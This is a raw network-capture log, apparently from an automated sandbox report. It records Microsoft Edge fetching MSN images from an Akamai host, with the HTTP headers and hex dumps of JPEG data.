2024-11-27 16:59:03 UTC	16384	IN	Data Raw: 66 b3 5c a4 ea 59 21 c1 3c 54 6e eb 91 83 a2 54 a0 48 35 00 55 ea 35 5d 8c 93 0a 2b 9a a5 35 ed 2a 9c 5a 8b 19 ae 23 4c c7 7b 52 08 53 5e e6 ee a2 97 37 75 d8 a4 74 a6 22 51 07 21 24 6e a8 10 a6 4d 09 a2 54 94 2e 94 40 a2 24 2e 5d e0 68 82 5a 50 68 52 65 10 21 36 c5 44 22 c4 b3 4e 72 5a 32 81 0e c9 a3 3f 42 63 69 9d 94 f0 a4 84 29 48 54 67 b6 91 52 45 27 29 c1 3c 15 c5 29 0a 8c e1 44 a6 7a 05 69 82 99 28 0d b3 51 9a 28 94 5e 99 0b 45 72 15 8c cd f4 c9 42 69 2d 34 97 15 69 8d 23 3f d3 41 e9 85 28 94 3a a4 00 70 0b a1 3e 65 91 7d 30 90 5a 14 c2 6c a3 23 26 58 82 d0 ac 35 a9 da 51 86 aa 72 cb 51 14 00 5c 48 4e 80 10 92 dd 90 31 67 c4 46 5b de 02 c8 7d 45 be fd 27 25 8d 52 36 5d 9d b6 b8 0c c7 75 45 18 d4 2a 79 85 1c b6 57 a2 98 88 be a1 5d ab aa 7e 94 5a 15 Data Ascii: f\Y!<TnTH5U5]+5Z#L{RS^7ut"Q!$nMT.@$.]hZPhRe!6D"NrZ2?Bci)HTgRE')<)Dzi(Q(^ErBi-4i#?A(:p>e}0Zl#&X5QrQ\HN1gF[}E'%R6]uEyW]~Z
2024-11-27 16:59:03 UTC	16384	IN	Data Raw: ba ac de aa ff 00 fa 25 e7 fd 1e fd df f9 05 1c a8 d5 3d 60 7d d4 9a 7f 3c e0 9e d9 7e ba 6e fd 25 a4 f8 c8 b2 f9 a7 ab 4b 67 76 7e 68 bd 4a 5f d5 d8 b5 7f c7 c5 10 e2 8f a6 1f 9d 7c bc 7e f7 7f fc b7 2a fe f1 f2 ff 00 fd d2 3f d0 ff 00 b2 f9 9e ba 5b 9e c2 87 55 2d ff 00 f4 95 b0 ff 00 c6 5e a8 8c 28 fa 68 f9 bf 02 7f ef 47 56 bf ec 99 fd d3 80 ff 00 df 6f fb 5f ff 00 c2 be 5f 14 9d 9f fe 93 f6 40 45 2d ff 00 f4 bb ec 96 0b dc fc 0d 81 1f 5a 1c 77 06 6e 38 8a 5f ee fb a3 3c 5f 0b 13 eb d2 23 fe 43 f1 5f 1f d3 44 fe ee e7 7d 90 fa 74 7f 59 ff 00 d5 f6 5b cb eb e8 2c 28 fb 0d 2e 2b 86 ad 3a 2a 30 c6 39 1e f8 54 78 ae 15 b8 d5 67 6f d9 7c 77 4d 3c aa f7 3b ec af d3 19 71 14 fc 75 0f fe 95 4b b5 cf e6 6a 8f 33 eb e3 89 e1 9d 85 46 76 a6 1a 9c 38 c6 a3 3f dc Data Ascii: %=`}<~n%Kgv~hJ_\|~?[U-^(hGVo__@E-Zwn8_<_#C_D}tY[,(.+:09Txgo\|wM<;quKj3Fv8?
2024-11-27 16:59:03 UTC	7952	IN	Data Raw: 3e 49 c0 86 8c f2 54 28 b8 c4 b8 5b 0b e0 9a da 4d 81 7f 37 72 0b 71 26 83 a5 c4 16 1d 3e d4 1e d5 b1 ea 6a 20 dc 78 c4 78 c2 c5 6d 13 91 08 34 54 6c c3 a6 6d 8a e7 94 23 27 93 49 84 4e 8f 45 57 d2 70 01 c6 fc af de 97 a2 30 2d 2d e6 60 ac 2a 1e a3 5d 72 34 e7 9a d3 d6 c0 75 5e 3f 48 3e f5 ce fb 6e 39 26 d8 4c 49 ee 29 e1 d9 10 0e fb a5 16 bd e2 60 d8 5d 4d 6d 4a 04 c6 13 97 d5 97 55 a8 1a 20 b8 c1 04 2c 9b b4 ab d5 12 26 9b aa d2 7b 0b 09 24 49 8f bf 25 ea 1f c6 1a ba 7d 4e 1d da 80 89 1e 66 91 bc 8e f9 50 78 6a dc 2e 83 4f cd 48 c0 25 ce cc ef 2d db 6c 96 9d 2a 25 ae 69 d5 e4 75 8b c7 98 72 98 ef 51 3a d5 a5 6a eb 2c de d4 74 f6 f1 2c af e1 6f af 81 90 fa 94 88 98 8e 59 f6 ac ff 00 6f d9 2e e8 5a b6 78 9a 34 69 bd da 0e 1d 2f 9d a5 2a 99 d5 6d 50 3b 17 Data Ascii: >IT([M7rq&>j xxm4Tlm#'INEWp0--`]r4u^?H>n9&LI)`]MmJU ,&{$I%}NfPxj.OH%-l%iurQ:j,t,oYo.Zx4i/*mP;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	49920	104.117.182.18	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:59:02 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 26 Nov 2024 16:25:33 GMT X-Datacenter: westus X-ActivityId: baaa06bb-65ca-4ce6-b625-154a469cbf2b Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0Z X-Source-Length: 132415 Content-Length: 132415 Cache-Control: public, max-age=343587 Expires: Sun, 01 Dec 2024 16:25:29 GMT Date: Wed, 27 Nov 2024 16:59:02 GMT Connection: close
2024-11-27 16:59:02 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 16:59:02 UTC	16384	IN	Data Raw: f2 f8 87 0a af d5 5e 42 ab 9e 5e 85 a9 ea 08 31 37 1a bb d2 b5 11 2e 8d c4 52 ad 95 05 57 2b 7e 0b 50 3b d3 20 d4 c2 c5 58 73 63 aa 46 4c 73 b9 a3 76 1f 5e ab 41 5e 35 12 ea 0d ab 75 62 3c 6a 05 57 85 2f ea 6d 3d c1 1b 55 0d 9d cd 56 57 a5 2e c6 38 55 c9 11 6d 54 ce c4 ef 5b eb b0 aa 5a 95 26 8f 24 46 ce 1c cd 50 f5 4d 0e 92 2a d8 35 7c 62 36 b0 e4 6a cf 54 55 1a 4d 47 41 a7 a8 9d d5 de b7 2a af d6 6a 97 a7 5b e9 d6 e8 fb 54 72 9a 58 b1 a6 4a 55 25 6a e6 91 76 a8 12 6a d9 8e 15 1d 35 65 34 ab 2c 2a bd 46 af d3 54 1a 64 96 a9 ac 9a 8c 56 de 9b 24 0d 5c 2a bb d5 83 55 4a a2 fa ac 93 c2 b6 0d 5b 06 a1 64 c8 35 9e 99 34 f6 81 4d 2a 0a 7c 9b 88 4f a5 57 04 a2 da 05 42 14 54 73 da b8 c2 61 16 a7 ec 15 79 d3 ce a9 3a 69 79 53 35 af 2a 59 98 9a 99 93 c2 a9 20 d1 Data Ascii: ^B^17.RW+~P; XscFLsv^A^5ub<jW/m=UVW.8UmT[Z&$FPM5\|b6jTUMGAj[TrXJU%jvj5e4,FTdV$\UJ[d54M\|OWBTsay:iyS5Y
2024-11-27 16:59:02 UTC	2440	IN	Data Raw: 55 ca 97 18 0e dd ab 1e 55 0f c2 30 e5 7d a8 e9 56 b0 99 32 60 8a ac fb 4f 09 db 8f d2 97 2a 7c 60 37 e1 0c c1 89 e5 5a 7b 46 1c 87 f5 ca ba 21 85 47 ba dc 26 a9 cd e9 2c 33 34 13 6e 7f 2a 5c a9 71 80 a3 b3 c9 3f f1 54 e5 ed 1c fb d4 c6 93 ff 00 34 73 0b e3 c8 a7 4b c8 9b ff 00 2a b3 30 4c 60 16 3a 47 05 e7 e1 f9 fc e9 f2 ad c6 04 63 c0 d9 f1 eb c7 f0 71 32 27 e9 bc 75 da b7 f0 a7 8e dc bf 99 ab b0 65 40 e5 51 a0 64 26 27 8f 38 e4 3e 54 55 57 4c 98 13 3b 74 a5 72 b1 a6 31 cd be 84 e7 03 88 06 de 3c 2a a1 80 bd c0 b7 03 c2 2b a7 7c 68 18 41 8d ad c0 8e 44 57 95 81 05 14 44 5f a0 aa e4 d7 07 35 f8 67 fb 26 a9 3d bb b7 02 2b ac 0d 0b cf 4f fc d4 43 de 0e cd c7 95 b6 a5 ce 97 09 ea e2 9b 03 02 40 14 ca 61 68 bf fc 57 63 81 71 b2 ef 24 6f e1 4b f7 19 31 df 42 Data Ascii: UU0}V2`O\|`7Z{F!G&,34n\q?T4sK0L`:Gcq2'ue@Qd&'8>TUWL;tr1<+\|hADWD_5g&=+OC@ahWcq$oK1B
2024-11-27 16:59:03 UTC	16384	IN	Data Raw: 2a 2e 57 53 40 e0 b7 8e bc aa 9c 78 c2 61 d1 62 44 a9 9b 6c 4e f4 f7 b2 d6 8b 41 89 17 e1 d0 71 fc aa 61 c3 e3 16 22 45 45 5b d3 2c 0e c6 0c 74 da ac 46 c5 3a 44 45 f6 bd 6d 1e d4 a6 92 16 4f 19 16 e5 56 06 d4 58 11 00 6d 13 33 48 66 25 32 e2 c6 a6 03 31 73 e4 3f 7d 20 b9 cc e7 bc dd e3 a4 45 2d 16 dd 46 85 60 4c 5f 7a ae 54 ab 31 9d b6 e5 43 7b 7c 8e e3 41 37 e3 c2 6d c2 99 1a d7 3e 96 8b 02 57 f8 87 2f 3a 7a 3d a9 42 af 06 24 0b 4f 85 5a b8 c5 c9 32 06 de 3c 29 86 c7 a3 41 51 66 26 47 9f 1a 5c a1 46 7c 63 a1 1e 3c 2b 54 b4 00 5a db a8 fa d6 85 5c a4 88 fd d4 43 22 85 50 63 dc 47 eb 4a 89 0c 41 03 9f 53 49 54 98 d6 09 58 f8 45 8d 3f e9 ab 28 60 7c ff 00 ae b5 af 97 4f b9 80 13 e5 f9 d2 1e b2 a3 33 7f d3 62 27 f8 4f 1e b1 cc 78 8a da 61 04 24 cd ad fd 7f Data Ascii: *.WS@xabDlNAqa"EE[,tF:DEmOVXm3Hf%21s?} E-F`L_zT1C{\|A7m>W/:z=B$OZ2<)AQf&G\F\|c<+TZ\C"PcGJASITXE?(`\|O3b'Oxa$
2024-11-27 16:59:03 UTC	16384	IN	Data Raw: 42 b1 b7 01 4b 4a 94 11 9f 2a ac 42 84 11 22 39 19 f6 dc 7b b8 4d eb 99 ff 00 20 be a9 95 98 01 75 a1 22 d6 be f0 3c eb b6 ee 71 e0 0c 7d a7 54 69 22 e4 7b 48 33 26 66 7c 0d 70 d9 f1 0b 9f 78 c8 2e cb 6b 89 99 b9 13 c6 47 0a 77 1b 34 9d ef 62 08 a5 d2 db d8 c4 83 06 36 de 8c 76 8a ba 17 23 c9 09 a8 c0 23 dc 49 81 ce de d3 40 b0 13 8c 06 0a c2 79 fe 46 0f 0e 15 7f 7b 94 a6 1c 64 29 5d 40 12 3a eb 73 36 3b 79 55 4d 26 f8 12 cf fe 44 34 fa 68 aa 9e 40 5b ad 4b d4 9c 64 b2 87 76 31 a4 7b 4a 29 1b b1 83 06 36 02 f0 68 5e 11 8f 4a 33 46 bc 9f 68 d9 64 48 24 1b df ee 2c 75 da 89 60 c0 0b 92 cc 34 07 2e 58 9f e1 f9 93 14 f2 cb 7d 34 82 7d c7 6d e8 ae 3c 88 9d b8 64 6d 41 21 a6 37 86 76 04 18 e5 04 57 39 88 a6 6c 99 75 e0 51 ae 09 ba 9d 10 49 f6 83 11 bc 47 95 74 Data Ascii: BKJ*B"9{M u"<q}Ti"{H3&f\|px.kGw4b6v##I@yF{d)]@:s6;yUM&D4h@[Kdv1{J)6h^J3FhdH$,u`4.X}4}m<dmA!7vW9luQIGt
2024-11-27 16:59:03 UTC	7952	IN	Data Raw: 64 68 3b 00 bb 73 dc 7e 54 8e 3c da 89 0c 35 ba 83 ab 93 2f d9 3c c8 fb a6 ab 2e c6 34 37 b3 27 dd 85 80 00 be a5 82 25 78 d4 af 63 5e b3 ea 1a f2 ae 31 bd 80 6d 42 24 a8 0b b1 8e b4 c1 ee 55 b4 b2 b3 44 75 2c 7a 88 81 42 1b 2e 22 c8 34 08 4f 82 05 a4 8d 8c c4 9e 36 e3 4a e2 38 e0 b0 52 46 d2 a6 0a ab 1f 7c 29 92 02 9b f1 aa ad 2d 1e 2e b9 13 49 c8 4e ae 04 79 88 3e ee 94 0b f0 f6 d6 32 71 86 f7 b4 0e 56 bd 13 c6 9a 95 d9 8f c0 04 7d a9 43 78 3b 5e 35 0d ea c6 ed b1 37 a8 15 8a 16 21 ac 62 2f c0 81 6b f9 ef 4b 67 66 c2 1f b6 fb ac cc 24 98 fb b6 17 92 00 53 17 aa 7d 02 40 0a fc 8d c8 63 7d 8d c1 b7 2a 22 35 a0 8c 8b 74 d0 75 7d e8 36 24 f0 3c 26 38 1a 51 90 62 7d ed a6 17 8c 75 1c 63 98 b8 f2 ab da 35 0a 28 66 46 05 8b c1 20 a3 28 99 aa 10 a6 37 d0 15 25 Data Ascii: dh;s~T<5/<.47'%xc^1mB$UDu,zB."4O6J8RF\|)-.INy>2qV}Cx;^57!b/kKgf$S}@c}*"5tu}6$<&8Qb}uc5(fF (7%
2024-11-27 16:59:03 UTC	16384	IN	Data Raw: 71 22 b8 eb 61 23 da 06 9f 81 f9 f9 fe b4 fa 77 59 15 81 c8 41 13 71 04 32 f9 19 36 f9 55 ee 6f d0 b6 e9 50 93 8a 0e d1 36 bc 11 cb 63 70 05 ab 9a ee b1 13 93 d4 59 30 2f a4 cc 8d ec 3e 76 f3 a7 67 13 20 18 49 89 d5 1b ec 41 31 70 77 eb e1 57 ac 64 56 56 82 34 df 7b 10 4e e0 df 7b 8e 57 a0 65 3b 1a 77 15 76 dd c7 ac 91 c6 3e b1 b8 3e 16 a9 63 4d 4c e6 20 30 50 77 dd 5a 41 f2 d8 8e 37 ae 6b 22 b7 6d 92 cd 73 72 38 fe d4 6d e7 04 82 2b aa c5 94 15 43 6d ee 07 2d be 56 a9 29 7e 0f 3e 32 75 b1 ba 81 a8 79 83 ee 12 45 cd 71 d9 f5 02 fc 47 c3 6d ef 04 78 57 43 93 36 bc b1 a8 ed 03 96 92 0e df 99 a1 99 55 95 81 d3 3e d9 3a 62 6d fc 36 eb b4 53 85 97 80 84 08 f9 08 32 b6 89 de 7a c7 02 2b 47 a9 85 9a 7d c0 83 71 b1 f1 e1 35 28 61 91 98 5e 45 d7 88 ff 00 69 bd 66 Data Ascii: q"a#wYAq26UoP6cpY0/>vg IA1pwWdVV4{N{We;wv>>cML 0PwZA7k"msr8m+Cm-V)~>2uyEqGmxWC6U>:bm6S2z+G}q5(a^Eif
2024-11-27 16:59:03 UTC	16384	IN	Data Raw: bc 2b 7c 27 d4 80 ca c0 a3 0f 8a 2e 0e fe e8 ab 1b 03 80 01 46 f3 82 47 ed 4f 97 e7 4e 63 4c 24 8c 97 13 2d f1 0d f6 65 bc 7d 29 a7 f4 d7 de 99 32 a8 27 82 f2 e7 a5 bf 4a 9b 0e 00 36 43 8b 5a b5 a4 58 9f 88 10 7c be 55 3c 39 5d ca af dd dc 9d 22 07 2b 6d 3f 39 a6 f5 e4 76 20 65 57 93 b6 44 23 7e ba 7f 32 28 8b 06 40 40 5c 51 33 01 82 b1 22 d2 7d bc 2f 14 98 a3 77 09 a8 a9 1a 54 0f 8b 81 8b 6f cf 9c 9a 55 fb 5c 79 14 36 37 52 67 54 1f 6c 83 c0 1f 84 f8 1a 97 a0 a4 df 52 83 bc b7 b7 e7 ac 6f e5 4f 1e d4 95 03 1b 28 d2 a4 15 d4 8d aa 79 df af 15 aa 92 97 90 77 39 30 3f f7 03 28 70 2d 1f 0e 9d 8a cd ad 57 3a 8c aa 35 fb a6 c3 2a dc c4 6e dc 59 7c e1 87 33 45 57 17 72 10 00 9a d4 6e 80 6a 5f ff 00 a6 f0 47 9a c5 4b 1e 3c 3f 09 5c 9d b9 bc 40 62 92 79 06 1a 84 Data Ascii: +\|'.FGONcL$-e})2'J6CZX\|U<9]"+m?9v eWD#~2(@@\Q3"}/wToU\y67RgTlRoO(yw90?(p-W:5*nY\|3EWrnj_GK<?\@by
2024-11-27 16:59:03 UTC	7952	IN	Data Raw: c1 86 57 50 1a 54 9f ba 49 03 a1 b4 8a ea bf 19 8a 3d 1c 58 d0 a9 13 65 32 bb 11 ee 1a 49 99 91 bd 0b 75 5c f8 8a 11 61 2f 0b 77 1c d9 0d 83 8b 49 56 86 e3 36 34 5c f1 93 5a d7 e8 9c 7b 09 cd 94 2b fb 4e 52 22 7e 3d 23 e8 01 3f 3a 1b 93 20 d4 34 a2 09 bd c6 a3 f5 69 a7 f3 e1 67 50 71 1f 54 09 f8 77 e7 75 3e ef cc 50 8c a1 91 86 a0 41 81 20 ef b7 2a e5 bb 12 9f 9d 50 4d ed 56 23 70 e7 f9 45 41 58 15 53 f5 f1 a5 d1 8c 75 fd f5 26 61 4f a6 54 49 8b 5f 94 1a 86 47 d5 a9 85 2a c4 b1 d3 bf f3 ab 7a 47 11 fa d3 4c 5d 9b dd 8c 93 bc af e4 2a 28 23 11 f3 11 57 64 ff 00 4f cc 2f e5 7a 44 86 9d 23 60 7e a6 94 53 54 1d 40 5f 8d ba d1 35 c6 5d bd bb b0 02 78 02 39 7f 3e 1c 29 64 10 ab e3 27 9f f0 af ea 6b a3 c2 74 e2 66 d1 2d b6 d0 88 3a f3 37 f6 a8 f3 37 aa 93 6c 1c Data Ascii: WPTI=Xe2Iu\a/wIV64\Z{+NR"~=#?: 4igPqTwu>PA PMV#pEAXSu&aOTI_GzGL]*(#WdO/zD#`~ST@_5]x9>)d'ktf-:77l
2024-11-27 16:59:03 UTC	14945	IN	Data Raw: 00 24 1e a6 89 66 c5 91 41 d2 17 4b 03 a6 76 df ac cd 0d 00 85 92 d8 41 13 6d 1c 87 ec 50 b4 68 26 86 05 0a 9b 81 69 02 e6 23 ee f3 b5 5d 95 d1 40 fe da f0 17 2c 79 9e 0c 2a b0 65 92 72 27 b8 09 3a 4e e7 8f c0 29 7e e0 9b 29 71 bc fd ee 5e 54 ab 12 4c 9a 9d a3 1e 31 6e 44 ee 40 e2 4d 16 6c ac 33 ab 7b 63 de 4f b5 76 51 ce 26 26 84 60 00 3b 7b b9 70 ea 0f e9 4d e4 70 27 98 58 1e 24 12 6a 5a 78 3a 1c be 5c 64 00 76 95 20 0d f6 f7 47 d0 1a a3 23 31 33 bc 10 0d 81 89 99 24 45 5f 86 3d 30 5a c0 85 df a4 f2 aa 87 bf 1b 31 90 43 8f 70 be c3 8f 18 a2 7c 20 39 c3 3b 58 03 1c 3c bf ad aa ec 1d cb e1 61 36 33 b8 e4 6a 04 e8 70 c7 da 60 1d 40 02 ad e6 2d f2 aa b2 63 46 d4 55 f6 33 1c 7a fc f6 a5 0a 8b b1 d4 cc d3 f7 48 9b ef 22 87 64 d2 b9 10 70 d4 5c f8 1b 7e b4 4b Data Ascii: $fAKvAmPh&i#]@,y*er':N)~)q^TL1nD@Ml3{cOvQ&&`;{pMp'X$jZx:\dv G#13$E_=0Z1Cp\| 9;X<a63jp`@-cFU3zH"dp\~K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	49922	104.117.182.18	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:59:02 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 20 Nov 2024 06:31:45 GMT X-Datacenter: northeu X-ActivityId: d6b39d3f-d287-49b5-a5be-b8a97df370ee Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO5 X-Source-Length: 76988 Content-Length: 76988 Cache-Control: public, max-age=178497 Expires: Fri, 29 Nov 2024 18:33:59 GMT Date: Wed, 27 Nov 2024 16:59:02 GMT Connection: close
2024-11-27 16:59:02 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 16:59:02 UTC	16384	IN	Data Raw: b5 c5 05 43 29 8a 72 20 8a e2 1a 32 43 62 20 26 80 63 7d 7b d8 e0 e8 db fa 65 ef 15 8d b2 95 7c b4 15 93 99 29 f2 a4 49 8c c4 49 17 09 2f 84 81 61 d6 ca d3 ab 69 8d 1c 71 43 22 1e 02 48 02 3a 81 e3 46 40 91 4a f7 bb da ec 0d 04 6b f7 57 88 e5 2c d1 94 8c 80 42 92 4c 02 60 8a 49 d2 e3 79 b9 f2 92 df 43 7b 20 da dc 52 54 b0 95 14 22 33 a8 02 52 9c df 6e 63 a0 9b 25 e5 5c f6 4d 3d fd 1e 3a 6b cb 8a 3b 0e 43 29 1e 81 16 cf a4 36 21 a9 79 54 a1 e3 57 b4 b1 9b 73 6f e5 a8 0c c8 5c a5 26 50 64 54 4c 1d 2a 34 20 e8 5a 29 20 68 66 97 69 83 8a 0b 8e cb ba 60 f2 d2 18 f4 71 27 29 07 2a 54 05 8a 98 f4 20 fa b6 24 92 4d a5 8d e6 44 71 b4 36 31 48 1d cf 16 3c a8 4f 45 3d cd d5 13 4d 38 c0 31 bc b4 d1 41 5d 75 11 a3 d9 48 d4 11 22 46 22 f0 eb c4 93 7d 3d 18 7a f1 0d 80 Data Ascii: C)r 2Cb &c}{e\|)II/aiqC"H:F@JkW,BL`IyC{ RT"3Rnc%\M=:k;C)6!yTWso\&PdTL4 Z) hfi`q')T $MDq61H<OE=M81A]uH"F"}=z
2024-11-27 16:59:02 UTC	1996	IN	Data Raw: 4c cf 2e 4c da 69 5a ce 0d 14 67 9e be fb 5c 02 22 c9 75 28 cc a8 11 6e a4 0f 53 47 63 8a eb 83 64 c2 4c a8 12 2d 83 58 c0 c1 1e 8c 39 cc 35 ab 35 f7 1c 3d a2 8d 1c 02 88 ab 60 a2 9a 83 14 23 91 d4 7e ac 8a 9b 7c 2a 18 a1 9a 30 04 83 09 98 d6 06 82 6d ba ad 28 cd 40 9a 1f 34 dd 64 6b 33 d4 43 14 03 5a e8 c2 0d b5 65 cd 96 13 31 36 02 74 9c 68 c5 18 f1 ee 6e 64 69 2d 60 9e 25 c5 04 cb 51 ab 21 12 f4 38 d0 51 26 83 e2 c7 0f a4 95 24 cd 41 07 b1 ea e4 a4 85 4c e6 b2 22 31 9f 73 83 9a 1e 20 eb cb 5f 73 78 6b 0c a1 43 8f ac 6c 95 10 10 42 89 1a 69 18 49 81 65 23 c5 88 88 89 8d 38 97 96 9f 4f 29 64 02 6c 7d 35 88 b2 66 fa ba 12 01 f5 10 fc 4f 75 06 13 03 47 21 98 27 bb 62 2a c5 04 9c c8 20 82 44 41 ed 0f a3 7b 71 5b cb 2b 51 95 2a a6 23 5e 9e e7 53 b4 57 f6 a6 Data Ascii: L.LiZg\"u(nSGcdL-X955=`#~\|0m(@4dk3CZe16thndi-`%Q!8Q&$AL"1s _sxkClBiIe#8O)dl}5fOuG!'b DA{q[+Q*#^SW
2024-11-27 16:59:03 UTC	16384	IN	Data Raw: 52 75 8c 4d 03 f9 9b 9f 56 9c a0 44 47 1c db 90 2d 0f a9 08 12 24 d2 45 75 e7 0f af 7f 61 1b 4b 84 28 2c 40 20 c4 4f 29 a3 5a d3 ce 4c 8d 29 db c1 e8 17 5b 7b 3a 53 2d f2 fa b5 94 04 09 7b 2b eb 09 e3 d8 f2 92 45 81 cd cb 4e 43 21 96 15 07 1d 6b ab 26 53 ab 31 12 80 21 23 59 55 6b df dd 0e da 53 8d 2c d2 4d 1b 47 76 f0 d6 53 9b 28 d7 59 7b 27 2f 57 d6 94 6b 58 b6 da b5 ca d6 b4 e6 29 33 73 5c 3e 2f b0 0e 23 56 22 9b 9d b4 a4 02 5e e2 59 72 b6 89 b3 8c 5a ca 00 8e 3d ec 99 7e 3c 43 71 a7 c1 e8 92 ed 94 18 fb 9f 52 86 de 51 13 9a d9 d3 91 d7 93 50 32 90 44 86 e5 27 2e 69 e5 6b 5b 34 06 59 ba 19 33 2a 32 92 60 57 09 be 19 90 48 04 00 2a 20 c8 07 a5 c5 a2 81 0e 5a d0 51 73 42 98 b1 9c 09 6a 52 ed 94 e7 d5 e8 e3 89 66 ca f4 35 a5 05 14 70 06 78 7b 2b d5 94 09 Data Ascii: RuMVDG-$EuaK(,@ O)ZL)[{:S-{+ENC!k&S1!#YUkS,MGvS(Y{'/WkX)3s\>/#V"^YrZ=~<CqRQP2D'.ik[4Y32`WH ZQsBjRf5px{+
2024-11-27 16:59:03 UTC	16384	IN	Data Raw: 54 50 4e 51 a1 af 34 dc c8 84 85 a6 48 13 e3 cb e0 f8 5e 53 3b 61 d7 48 d5 ce 95 5d ab ea 40 98 f5 b9 f3 9d b8 9a 14 c6 b3 30 e6 7f 2c 0d 2d b6 5d 8d 3a 93 af 47 b7 f3 f6 f6 84 7d c4 9b 18 4a f7 77 e8 3c b7 c5 d8 97 e6 ed a9 22 49 3e 8c aa fa ec a2 36 d3 cc fb 07 bd f7 f5 22 af 29 af 28 71 d9 37 a4 5f 9c bd 54 ed a7 6c 12 a8 e7 40 f9 d5 f5 63 4d b1 98 df a0 f6 97 e0 af 71 4b 33 b8 a2 78 b9 8c ee 13 41 41 c6 af 8e 5d fa e9 a7 f3 ff 00 8d c7 6b 9e bf c3 b7 77 79 4b 31 9b 36 03 ed 0c 47 6c c6 63 5a c3 1a 32 a0 4a b5 b0 5a ee e6 f9 58 80 02 53 77 c5 f1 9c b1 ab ca 75 9e 90 eb 11 31 a4 7b ba 7e 62 36 c4 50 9b 87 b5 f2 2b 70 ac d7 4b 00 d1 f3 b7 90 31 bb e2 f1 3d c9 cb ca 23 83 71 8c 47 9c 8c 20 41 3a 5d 69 7d 31 03 32 8c 13 f6 a6 e1 7e 0f 9c 42 08 52 aa 7f 0b Data Ascii: TPNQ4H^S;aH]@0,-]:G}Jw<"I>6")(q7_Tl@cMqK3xAA]kwyK16GlcZ2JZXSwu1{~b6P+pK1=#qG 